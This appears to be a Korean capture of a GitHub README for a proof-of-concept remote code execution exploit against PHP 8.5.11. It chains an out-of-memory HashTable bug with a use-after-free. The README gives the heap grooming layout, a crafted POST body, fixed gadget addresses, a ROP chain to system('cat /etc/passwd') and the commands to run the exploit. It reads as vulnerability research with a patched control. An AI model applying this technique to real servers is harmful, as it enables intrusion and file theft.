원문 캡처 · github.com
원문 캡처 · github.com

actual-php2shell는 PHP 8.5.11(2026년 10월 보안 권고 대상)을 겨냥한 재현 가능한 애플리케이션 비종속 원격 코드 실행(PoC)이다. 저장소는 2026년 PHP 메모리 손상 취약점 두 건을 이용해 애플리케이션 코드 없이 system("cat /etc/passwd")를 실행한다고 설명한다. 피해자의 index.php는 ok를 출력하기만 한다.

  • CVE-2026-109618은 메모리 부족(OOM)으로 longjmp가 실행돼 미완성 HashTable이 남고, 종료 과정에서 해제되는 취약점이다. 저장소는 이를 원격 코드 실행의 기반으로 제시한다.
  • CVE-2026-109619는 요청 소유 오류 상태인 치명적 오류 백트레이스가 요청 종료 뒤에도 남아 다음 요청에서 다시 해제되는 취약점이다. 저장소는 이를 정보 유출 및 ASLR 우회 기반으로 설명하며, 별도의 데모를 제공한다.

모든 절차는 Podman 컨테이너에서 재현할 수 있다. 저장소가 확인했다고 밝힌 종단 간 결과는 ./exploits/cve-2026-109618-oom/rce.py가 /etc/passwd를 읽는 것이다.

CVE-2026-109618 취약점

취약점 설명에 따르면 PHP의 메모리가 부족해지면 zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp) 순서로 실행된다. PHP 8.5.11에서는 해시 테이블 삽입이 할당 실패를 처리할 수 없는 방식으로 이뤄져, 메모리 부족으로 실행이 되돌아갈 때 HashTable이 중간 상태로 남을 수 있다.

문제가 되는 코드는 _zend_hash_str_add_or_update_i()의 add_to_hash 부분이다(Zend/zend_hash.c:960).

add_to_hash:
 idx = ht->nNumUsed++; /* (1) bumped first */
 ht->nNumOfElements++; /* (2) bumped */
 p = ht->arData + idx;
 p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */

키를 복사하는 zend_string_init에서 메모리 부족이 발생하면 버킷 p에는 값이 기록되지 않은 채(key/h/val은 이전 데이터) nNumUsed만 증가한다. 요청 종료 때 zend_array_destroy()는 nNumUsed개 버킷을 순회하고, 기록되지 않은 버킷의 쓰레기 값인 val에 i_zval_ptr_dtor(&p->val)을 호출한다. 저장소에 따르면 공격자는 이 값을 조작할 수 있다. PHP 8.5.12에서는 해당 할당들을 실패를 처리할 수 있는 femalloc/fperealloc2와 HASH_FALLIBLE로 바꿔, 중단 대신 삽입이 정상적으로 실패하도록 수정했다.

객체 그래프와 힙 배치

객체 그래프와 힙 배치 설명에 따르면 공격의 핵심은 OOM이 발생하는 마지막 버킷을 가진 HashTable의 arData가 되도록, 조작 가능한 2560바이트 블록 하나를 배치하는 것이다. 관련 객체와 메모리 크기, 역할은 다음과 같다.

유형·변수크기역할
zend_array (HashTable) 헤더56 BarData, nNumUsed, nTableSize, pDestructor
Bucket32 Bval(16) + h(8) + key(8); 기록되지 않은 버킷이 표적
zval16 Bvalue(8) + u1.type_info(4) + u2(4); type_info를 설정
zend_string헤더 24 B + 데이터패딩 값이며 길이가 할당기 구간을 선택
zend_object56 B가짜 객체: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj가 전환 가젯
zend_mm_heap / zend_mm_chunk—free_slot[], free_tail, map[](구간 28 = 2560 B)

힙 배치의 전제가 되는 할당기 특성은 두 가지다.

  • 64개 버킷을 가진 테이블의 arData 크기는 2560바이트로 구간 28에 해당한다. HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560이며, HT_SIZE_TO_MASK(n) = -(2n)이다.
  • b150(순회되는 테이블)과 b0e0(폐기되는 테이블)은 심볼 테이블의 SEPARATE_ARRAY/간접 참조 경로에서 만들어지는 $_POST["a"]의 두 복사본이다. 각 a[<large>][c]=v 필드는 두 복사본 모두에 <large> 키를 삽입하며, b0e0이 항상 키 하나 앞선다. php_request_shutdown에서 파괴되는 것은 b150뿐이므로 OOM은 b150에서 발생해야 한다.

전체 공격 과정

전체 과정과 rce.py에서 제시한 요청 본문은 URL 인코딩된 POST다.

memshift=<40 KB of M>& a[X…0000000000000000][c]=v&  … (30 fields) pad=<crafted 2528 B>& pad=x& a[X…0000000000000030][c]=v&  … (fields 30..59) 
  1. memshift(약 40 KB)는 OOM이 OOM 필드의 첫 삽입에서 발생하도록 메모리를 소모한다. 따라서 OOM은 폐기되는 b0e0이 아니라 순회되는 테이블 b150에 걸린다.
  2. pad=<2528 B>에서는 add_post_var가 estrndup(A)를 호출한 뒤 ZVAL_STRINGL_FAST(B, copy)를 실행한다. 측정 결과 B = padlen + 32다. 따라서 padlen=2528이면 A = 2529, B = 2560이 돼 둘 다 구간 28에 들어간다. A는 estrndup 경로에서 해제된다.
  3. 중복 키인 pad=x는 보존된 복사본 B를 소멸자(DTOR)로 해제해, 서로 다른 구간 28 슬롯을 두 번째로 비운다. 이제 b150이 32개에서 64개 버킷으로 크기를 늘릴 때 B를 재사용하므로 조작한 바이트가 b150의 arData가 된다.
  4. 패딩 바이트는 페이로드가 arData의 조작 가능한 끝부분인 버킷 46~63, 원시 오프셋 1984 이상에 오도록 배치한다. zend_hash_rehash가 다시 쓰는 해시 배열인 오프셋 0x100에는 두지 않는다.
  5. 기록되지 않은 버킷(원시 오프셋 1952, 패딩 오프셋 1928)은 IS_OBJECT로 설정하고 value.obj = &fake_object를 지정한다.
  6. 종료 과정에서 해당 버킷을 순회하며 i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del을 호출한다. 이어 handlers->free_obj가 전환점이 되고 ROP를 거쳐 system("cat /etc/passwd > /var/www/html/leak.txt")를 실행한다. 이후 GET /leak.txt로 파일을 가져온다.

rce.py에는 디버깅에 시간이 걸린 미묘한 요구사항 두 가지도 담겨 있다.

  • 가짜 객체와 ROP는 arData 끝부분에 있어야 한다. 패딩 오프셋 0x100은 해시 배열이므로 덮어써진다.
  • __libc_system은 16바이트 정렬을 요구하는 movaps를 사용한다. 따라서 pop rdi; ret과 system 사이에 추가 ret 가젯을 넣어야 한다. 그렇지 않으면 execve 전에 __libc_system 내부에서 SIGSEGV가 발생한다.

표적 주소

표적 주소와 ASLR 설정에 따르면 아래 주소는 ASLR을 끈 상태(setarch -R)에서 php-rce-oom-debug:8.5.11을 기준으로 측정했다. 기반 이미지 이름은 php-rce-base:8.5.11이다. 기본 빌드에서 libphp와 libc의 기반 주소는 같지만, 힙 오프셋 B는 설치된 라이브러리에 따라 달라진다. gdb 설치로도 이동했으므로 다른 이미지에서는 B를 다시 측정하거나, ASLR을 켤 때는 정보 유출을 통해 알아내야 한다.

기호주소
libphp 기반 주소0x7ffff4400000
libc 기반 주소0x7ffff7cd4000
system0x7ffff7d20490 (libc+ 0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+ 0x277e5)
ret0x7ffff7cfb7e6
전환점(jump_fcontext+0x2e)0x7ffff49fb8ae
주 청크([anon:zend_alloc])0x7ffff7200000
B (arData 원시 블록 = b150->arData - 512)0x7ffff725e400
가짜 핸들러B + 24 + 2000 = 0x7ffff725ebe8
가짜 객체B + 24 + 2048 = 0x7ffff725ec18
cmd 문자열B + 24 + 2200 = 0x7ffff725ecb0

가짜 객체를 기준으로 한 ROP 체인은 다음과 같다(o는 가짜 객체 주소다).

o+0x40  pop rdi; ret     (r8 loaded by the pivot) o+0x48  &cmd             (rdi) o+0x50  ret              (stack alignment for movaps) o+0x58  system 

재현 방법

재현 안내에는 Podman이 필요하다. 저장소 루트에서 다음 명령을 실행하도록 안내한다.

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

예상 출력은 다음과 같다.

[+] RCE: read /etc/passwd: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin … 

다른 데모로는 CVE-2026-109619의 오래된 치명적 오류 백트레이스에 따른 UAF 충돌, 정보 유출 및 ASLR 우회 기반, 그리고 패치된 PHP 8.5.12에서 같은 절차를 실행하는 음성 대조가 있다.

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf

# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak

# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh

저장소 구성과 범위

저장소 구성에는 취약한 PHP 8.2.34/8.3.35/8.4.26/8.5.11 소스 타르볼과, 음성 대조용 패치 버전 8.5.12 타르볼이 포함된다. 참고 자료에는 두 GHSA 권고, 2004년 Esser 권고, php-bug-78876이 있다. 컨테이너는 버전에 따라 설정할 수 있는 Apache 2.4 및 PHP 공통 빌드와 다음 실행 환경으로 구성된다.

  • cve-2026-109618-oom/: memory_limit=8M인 OOM 피해 환경과 gdb 디버그 계층
  • cve-2026-109619-stale-state/: 오래된 백트레이스 UAF 피해 환경과 gdb 디버그 계층
  • cve-2026-109619-info-leak/: 정보 유출 및 ASLR 우회 피해 환경
  • negative-control/: 같은 설정을 적용한 패치 버전 8.5.12

공격 도구에는 제어된 프레이밍을 위한 원시 소켓 HTTP 클라이언트 lib/client.py, CVE-2026-109618용 exploit.py(트리거), stalealias.py, rce.py, trace.py/trace.sh, CVE-2026-109619 UAF용 producer/consumer/exploit/rop/leak 및 run.sh/trace.sh, 정보 유출용 leak.py/run.sh, 음성 대조 도구가 들어 있다. 문서에는 취약한 소스의 정확한 위치를 다루는 attack-surface.md, 측정한 객체 그래프·ROP·주소를 담은 memory-layout.md, 힙 배치 진행 기록인 heap-feng-shui.md(§8.8–8.16에 RCE 과정 수록), info-leak.md, exploit-plan.md/implementation-plan.md/tasks.md가 있다.

범위와 주의사항에 따르면 이 PoC는 주소를 고정하기 위해 ASLR을 끈 상태(setarch -R)에서 동작한다. ASLR을 켜려면 cve-2026-109619-info-leak 기반으로 힙과 모듈의 주소를 알아내야 한다(docs/info-leak.md). 설치된 라이브러리에 따라 힙이 이동하므로 다른 이미지에서는 gdb 추적기로 B = b150->arData - 512를 다시 측정해야 한다. 피해 애플리케이션은 특정 코드에 종속되지 않으며, index.php는 파일 입출력을 하지 않고 공격 과정에도 관여하지 않는다. 전체 조사 결과와 단계별 할당기 분석은 docs/에 있다.